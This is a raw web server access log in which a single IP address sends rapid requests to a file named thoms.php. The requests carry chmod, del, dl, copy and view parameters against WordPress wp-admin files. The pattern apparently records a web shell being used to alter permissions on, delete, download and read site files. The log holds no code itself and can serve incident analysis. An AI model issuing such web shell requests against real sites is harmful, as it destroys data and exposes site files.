45.135.193.11 - - [11/Sep/2026:23:12:09 -0400] "GET /thoms.php?chmod=plugin-install.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=plugin-install.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:10 -0400] "GET /thoms.php?chmod=site-health.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=site-health.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:10 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=edit-tags.php HTTP/1.1" 200 19171 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=edit-tags.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:10 -0400] "GET /thoms.php?del=user&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28623 "http://163.245.207.76:443/thoms.php?del=user&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:10 -0400] "GET /thoms.php?dl=theme-editor.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28624 "http://163.245.207.76:443/thoms.php?dl=theme-editor.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:10 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fmedia.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11414 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fmedia.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:10 -0400] "GET /thoms.php?chmod=erase-personal-data.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=erase-personal-data.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:10 -0400] "GET /thoms.php?del=update-core.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28624 "http://163.245.207.76:443/thoms.php?del=update-core.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:10 -0400] "GET /bft.com.tw/wp-admin/customize.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:10 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fplugin-install.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11422 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fplugin-install.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:10 -0400] "GET /bft.com.tw/wp-admin HTTP/1.1" 301 795 "http://163.245.207.76:443/bft.com.tw/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:10 -0400] "GET /bft.com.tw/wp-admin/ HTTP/1.1" 500 0 "https://163.245.207.76:443/bft.com.tw/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:10 -0400] "GET /thoms.php?chmod=moderation.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=moderation.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:10 -0400] "GET /thoms.php?chmod=options-connectors.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=options-connectors.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:10 -0400] "GET /thoms.php?dl=load-scripts.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28624 "http://163.245.207.76:443/thoms.php?dl=load-scripts.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:11 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=options.php HTTP/1.1" 200 17257 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:11 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=privacy-policy-guide.php HTTP/1.1" 200 13532 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=privacy-policy-guide.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:11 -0400] "GET /thoms.php?chmod=font-library.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=font-library.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:11 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Flink-add.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Flink-add.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:11 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Flink-parse-opml.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Flink-parse-opml.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:11 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=load-scripts.php HTTP/1.1" 200 12950 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=load-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:11 -0400] "GET /thoms.php?chmod=options-permalink.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=options-permalink.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:11 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=profile.php HTTP/1.1" 200 12046 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:11 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Ftheme-editor.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Ftheme-editor.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:11 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=upgrade-functions.php HTTP/1.1" 200 12105 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=upgrade-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:11 -0400] "GET /bft.com.tw/wp-admin/user-edit.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:11 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=options-writing.php HTTP/1.1" 200 15462 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=options-writing.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:11 -0400] "GET /thoms.php?dl=ms-delete-site.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28613 "http://163.245.207.76:443/thoms.php?dl=ms-delete-site.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:11 -0400] "GET /thoms.php?chmod=update-core.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=update-core.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:11 -0400] "GET /bft.com.tw/wp-admin/media.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:11 -0400] "GET /bft.com.tw/wp-admin/theme-editor.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:12 -0400] "GET /thoms.php?chmod=admin-post.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=admin-post.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:12 -0400] "GET /thoms.php?chmod=authorize-application.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=authorize-application.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:12 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fexport.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fexport.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:12 -0400] "GET /thoms.php?chmod=profile.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:12 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Ferase-personal-data.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Ferase-personal-data.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:12 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Ftheme-install.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Ftheme-install.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:12 -0400] "GET /thoms.php?del=plugin-install.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28638 "http://163.245.207.76:443/thoms.php?del=plugin-install.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:12 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fwidgets-form.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fwidgets-form.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:12 -0400] "GET /thoms.php?del=options.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28639 "http://163.245.207.76:443/thoms.php?del=options.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:12 -0400] "GET /thoms.php?chmod=admin-ajax.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=admin-ajax.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:12 -0400] "GET /thoms.php?del=css&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28566 "http://163.245.207.76:443/thoms.php?del=css&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:12 -0400] "GET /thoms.php?del=freedoms.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28637 "http://163.245.207.76:443/thoms.php?del=freedoms.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:13 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=menu-header.php HTTP/1.1" 200 15391 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=menu-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:13 -0400] "GET /bft.com.tw/wp-admin/comment.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:13 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=users.php HTTP/1.1" 200 19524 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:13 -0400] "GET /thoms.php?chmod=css&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=css&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:13 -0400] "GET /bft.com.tw/wp-admin/options-head.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:13 -0400] "GET /bft.com.tw/wp-admin/edit.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:13 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=ms-options.php HTTP/1.1" 200 12005 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=ms-options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:13 -0400] "GET /thoms.php?chmod=export.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11502 "http://163.245.207.76:443/thoms.php?chmod=export.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:13 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=link-parse-opml.php HTTP/1.1" 200 13043 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=link-parse-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:13 -0400] "GET /thoms.php?del=press-this.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28631 "http://163.245.207.76:443/thoms.php?del=press-this.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:13 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fadmin-functions.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fadmin-functions.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:13 -0400] "GET /thoms.php?chmod=credits.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?chmod=credits.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:13 -0400] "GET /thoms.php?del=load-scripts.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28633 "http://163.245.207.76:443/thoms.php?del=load-scripts.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:13 -0400] "GET /thoms.php?chmod=theme-install.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=theme-install.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:13 -0400] "GET /thoms.php?dl=ms-options.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28635 "http://163.245.207.76:443/thoms.php?dl=ms-options.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:13 -0400] "GET /thoms.php?del=comment.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28634 "http://163.245.207.76:443/thoms.php?del=comment.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:14 -0400] "GET /bft.com.tw/wp-admin/site-editor.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:14 -0400] "GET /thoms.php?del=edit-form-advanced.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28640 "http://163.245.207.76:443/thoms.php?del=edit-form-advanced.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:14 -0400] "GET /thoms.php?del=export-personal-data.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28641 "http://163.245.207.76:443/thoms.php?del=export-personal-data.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:14 -0400] "GET /thoms.php?del=options-media.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28637 "http://163.245.207.76:443/thoms.php?del=options-media.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:14 -0400] "GET /bft.com.tw/wp-admin/css/ HTTP/1.1" 200 3562 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:14 -0400] "GET /bft.com.tw/wp-admin/includes/ HTTP/1.1" 200 4116 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:14 -0400] "GET /thoms.php?del=upgrade.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28641 "http://163.245.207.76:443/thoms.php?del=upgrade.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:14 -0400] "GET /thoms.php?chmod=customize.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=customize.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:14 -0400] "GET /thoms.php?chmod=media.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11502 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:14 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fms-admin.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fms-admin.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:14 -0400] "GET /thoms.php?del=menu-header.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28641 "http://163.245.207.76:443/thoms.php?del=menu-header.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:14 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fadmin.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fadmin.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:15 -0400] "GET /bft.com.tw/wp-admin/link.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:14 -0400] "GET /thoms.php?dl=upgrade-functions.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28641 "http://163.245.207.76:443/thoms.php?dl=upgrade-functions.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:15 -0400] "GET /thoms.php?del=authorize-application.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28627 "http://163.245.207.76:443/thoms.php?del=authorize-application.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
